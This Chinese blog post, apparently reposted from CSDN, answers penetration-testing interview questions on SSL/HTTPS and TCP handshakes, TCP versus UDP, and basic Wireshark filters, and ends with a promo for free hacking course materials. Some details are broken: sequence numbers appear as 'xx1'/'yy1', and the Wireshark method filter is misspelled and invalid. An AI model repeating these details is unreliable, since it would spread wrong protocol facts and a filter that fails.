建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。 这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。

对称加密与非对称加密的不同,分别用在哪些方面

TCP/IP

TCP三次握手的过程以及对应的状态转换

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

TCP和UDP协议区别

tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

https的建立过程

客户端发送请求到服务器端服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端客户端使用共享密钥解密数据SSL加密建立

流量分析

wireshark简单的过滤规则

过滤ip:

过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

过滤端口:

过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

协议过滤:

直接输入协议名即可,如http协议http

http模式过滤:

过滤get/post包http.request.mothod==\”GET/POST\”

防火墙

简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

原文引用:BurpSuite-collections/渗透测试面试问题2019版.md at master · Mr-xn/BurpSuite-collections · GitHub

👇👇👇

如果你也想学习:黑客&网络安全的零基础攻防教程

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

在这里领取:

这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们,其中包含以下东西:

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91321.html

(0)
CSDN的头像CSDN
上一篇 2024年6月21日
下一篇 2024年6月21日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注